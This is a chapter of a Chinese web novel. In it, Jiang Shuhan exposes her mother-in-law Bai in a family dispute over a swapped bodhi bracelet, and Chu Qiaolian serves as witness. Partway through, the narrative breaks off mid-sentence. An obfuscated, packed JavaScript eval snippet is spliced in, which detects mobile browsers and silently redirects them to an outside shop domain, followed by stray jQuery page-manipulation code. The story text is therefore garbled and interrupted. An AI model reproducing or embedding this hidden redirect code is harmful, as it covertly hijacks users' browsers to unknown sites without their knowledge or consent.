楚巧怜被引进姜家正堂时,不由忆起了昨日晨起去见姜抒寒的场面。
那女子立在窗前磨墨,选笔,似是早就料到她会来。
“楚二小姐昨日不是才来了?”
女子含笑,态度亲切,可楚巧怜心里头却愈是发凉。
南下来此,她数次碰壁,才终觉自己不过是个知道些前尘的寻常人罢了,她再如何努力,也只会落在旁人的算计中。
“少夫人,其实这些时日,我还未曾亲眼见过姜家的大少夫人。”楚巧怜既已下了决心,自然是想好了措辞,她将连日来所遇之事都同姜抒寒说了一番,还提及月华菩提是白氏送的。
“我愚笨些,只听说那月华菩提贵重,还是苏家之物,但赠我的人却并非苏家人,便留了个心眼,将那月华菩提留下了,换了另个相似的。”
若熟悉的,定是能认出是假的,她再借口送错了也不迟,而若没认出……
楚巧怜取出怀中的月华菩提手串递上前:“对方没认出,显然是有猫腻,若是真对我的事,还是向您留个物证。”
当然,也是表忠。
楚巧怜心知,只有如此,她才算得用些。
她暗自打量对面女子神色,清晰瞧见了一抹诧异,女子搁下笔,将手串从木盒中取出,细细端详,道:“楚二小姐可是帮了大忙了。如此,还望您今日宴上,将计就计才是。当然,明日也要劳烦您走一趟,做个人证。”
“一切听少夫人安排。”
女子抬起头望向她,眸中带了一丝道不明的感慨。
“还望楚二小姐好好斟酌斟酌,究竟所求是何。”
所求何事……
“楚二小姐,请。”管事的话打断了楚巧怜的思绪,她回过神,再次摸了摸怀中的木盒,入了堂。
堂内气氛凝重,甚是肃静,楚巧怜顶着姜老爷子吃人般的目光,顿时倍感压力。
她忍不住抬头看了一眼主座上的女子。
今日踏出这一步,就是得罪了姜家。
这位姜氏,当真与姜家势同水火?
“楚二小姐。”主座上低头喝茶的女子抬起了头,目光平静而从容,似是令人能够放下所有的忐忑,“听说您是来送物件的?”
姜抒寒抬手示意,红螺便很快搬来了个凳子请楚巧怜入座,同时,楚巧怜取出木盒,递给了红螺。
楚巧怜心神一定,也知今日之事务必要办妥,清了清嗓道:“正是,我是来将月华菩提完璧归赵的。”
她看向一旁的白氏,开口说道:“那日姜家来人说送错了,我本就想还回去,不曾想当日丫鬟看错了,还的手串并非姜夫人赠我的,这才……”
“楚二小姐,你说此物是姜夫人给你的?”姜老爷子飞快打断楚巧怜的话,“这是我孙媳苏家的东西,旁人怎可能有?楚二小姐莫不是记错了?”
楚巧怜低头思索,认真摇了摇头。
“并无,是姜夫人给的。”
“楚二小姐莫不是因我在那日无意得罪了您,这才栽赃与我。”白氏阴森森道,“王九小姐设宴时,本夫人不大爽利,许是无意间的话得罪了小姐,听说近日楚二小姐与我儿媳走得颇近。”
“分明是母亲假借我的名义,与楚二小姐交好。”苏氏听不得白氏满口胡言。
“那我所图何事?”白氏扯了扯嘴角,“楚二小姐一个北地人,并非南地姻亲,本夫人又何必如此?”
当然是为了让崔少主亲自来。
楚巧怜此刻早已相通。
她是北地人,又与苏家走得近,还住在崔家常常去姜抒寒的院子,想不被留意到都难。
可就算她隐约猜到了这一层,却还是想不明白为何如此,崔少主就会来姜家。
“所图何事不要紧,要紧的是若与楚二小姐打交道的姜家下人是您的人,那不就说明这些时日真正掌控姜家内宅的,不还是母亲吗?”姜抒寒悠哉悠哉道。
楚巧怜猜不透,自然是不知夫妻二人间的事,姜抒寒刻意使了点误导的手段,让崔孟清将一切串起来,无论信不信,都会有好奇心。
崔孟清只要好奇了,觉得有趣了,自然就会来。
“寒娘说的是,正好有现成的菩提子,都认一认,不就出来了。”崔孟清从姜抒寒手中接过手串,眸色颇有几分沉。
他还当真就如姜抒寒所说的,觉得有趣了,会多些耐心,而无趣了,就想打发了。
眼下,他显然是无趣了。
姜老爷子面色一变,心知崔孟清之意。
菩提子被送了回来,却没有认出,显然是与楚二小姐打交道的人不怎么熟悉菩提子。
苏氏只要能证明自己认得,那么剩下的事……
菩提子,偏偏出了个菩提子,节外生枝。
他抬起头,死死盯住姜抒寒,姜抒寒若有所感,转头望来,毫无惧意。
“夫君所言甚是。”姜抒寒接话道。
“不!我是冤枉的!我是冤枉的!公爹!公爹!”白氏一听此话,完全慌了神,言语间又有些混乱起来,“我是冤枉的!一切都是苏氏的主意。”
“闭嘴!”姜老爷子转头吼了一声,咬牙切齿道,“……那就都……看看。”
他这话说得艰难,心知白氏是保不住了,他有些不死心,还想再说些什么,苏氏却忽而对着姜大少爷道:“夫君,你就没什么想说的吗?”
苏氏这一句话将所有人的注意都引到了姜大少爷身上。
“你一直在府上,你最清楚了……”
苏氏明明已经占得了先机,却突然冒出这句话,令姜抒寒皱了皱眉。
姜老爷子眼前一亮。
“绥儿,你快说,快说!”
只要长孙说了,此事就还有回旋的余地。
然而姜大少爷与他的父亲一脉相承,骨子里都是懦弱。
哪怕他当真喜欢苏氏,却也不敢在这种场合维护她,替她证明。
哪怕苏氏给了机会。
“我……我一直在外面吃酒,没……没怎么留意……”
他宁愿说他吃酒。
苏氏失望闭上眼,心知姜家根本没救了。
其实她这话的意思,也是想她夫君能在姜抒寒面前卖个好。
“混账东西!”姜老爷子也没听到满意的回答,趁机大发雷霆,“一天天的不学好,光知道出去吃酒!”
这头他将人连声训斥,面如土色,另一头的苏氏豁然走到站成一排的仆从面前。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783625|208859||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
她看了几眼,又抬眼示意白氏辨认。
“你个吃里扒外的毒妇!”白氏知自己至此,已然露馅了,发了疯一般要去掐苏氏的脖子。
“拦下她!”
姜抒寒身后的榴花飞身而出,将苏氏护在身后。
“祖父,如今的真相还不明显?”
姜抒寒收起了看戏的笑意,正色道:“母亲所作所为,可当真令人寒心呐……”
“寒娘,你母亲也是一时糊涂,这……”姜大老爷得了父亲指示,开口劝道,“你母亲近些年一直在吃药,她……”
“她算我哪门子母亲啊,祖父?”
姜抒寒一步一步靠近姜老爷子,望着那张怨恨与阴毒的面庞,轻声道:“祖父,姜家冒充嫁女之事,夫君已经知道了呢……您觉得舍一个白氏,够吗?”
“放肆!”姜老爷子大声怒吼,好似声嘶力竭。
“放肆?”姜抒寒抬了抬手,无辜道:“怎么能说我放肆?崔家贵,姜家贱,这不是您教我的吗?”
“你!你这个!”
“祖父!祖父!快去请郎中!快!”
姜老爷子怒极攻心,竟然在堂上昏了过去。
顿时,堂内又乱了。
姜抒寒看着这场闹剧,再也没有给一个眼风,直接招手带走了楚巧怜。
“楚二小姐正巧来了,便同我一并回吧。”
……
楚巧怜就这样被姜抒寒领出了堂,不仅无一人敢拦,而且崔少主也未曾跟来。
楚巧怜满腹狐疑,却又不得不跟着对方的步子。
她回想起方才那一幕,仍就是心头震撼。
原以为今日的主场是崔少主,可这位少主开口的次数却还没少夫人多。
原来,这二位相处,竟是这般。
原来,这位姜氏的话语权,比她想象中还要大。
“崔少夫人。”
楚巧怜半天才找回了自己的声音。
廊口的银杏叶落得差不多了,两人踩着飘入廊的碎叶,拐过弯。
“可曾惊讶,我为何如此针对姜家?”
姜抒寒停下脚步,转过身,心情似乎大好。
她见楚巧怜低下头,似乎在斟酌用词,乐呵呵笑了。
“因为我的确不是姜家女,我恨他们。”
“什么!”楚巧怜错愕,不曾想到姜抒寒会如此直言。
姜抒寒凑近,神色有些许难明。
“他们对我做了太多事,我万分痛恨!”
姜抒寒张开双臂,微微仰起头。
“凭什么他们做得,我做不得?”
“凭什么他们算计,我算不得?”
风声鼓鼓,吹散了廊上的满腔愤恨,也吹醒了莫名陷入情绪中的姜抒寒。
“抱歉,失态了。”
姜抒寒面含歉意。
“劳烦楚二小姐,就当没听到吧。”
“自……自然。”楚巧怜干巴巴接话。
姜抒寒低下头,弯了弯唇。
想要靠近一个人,就要暴露自己的弱点,能更迅速拉近关系。
这个法子屡试不爽。
楚巧怜如此。
崔孟清也是如此。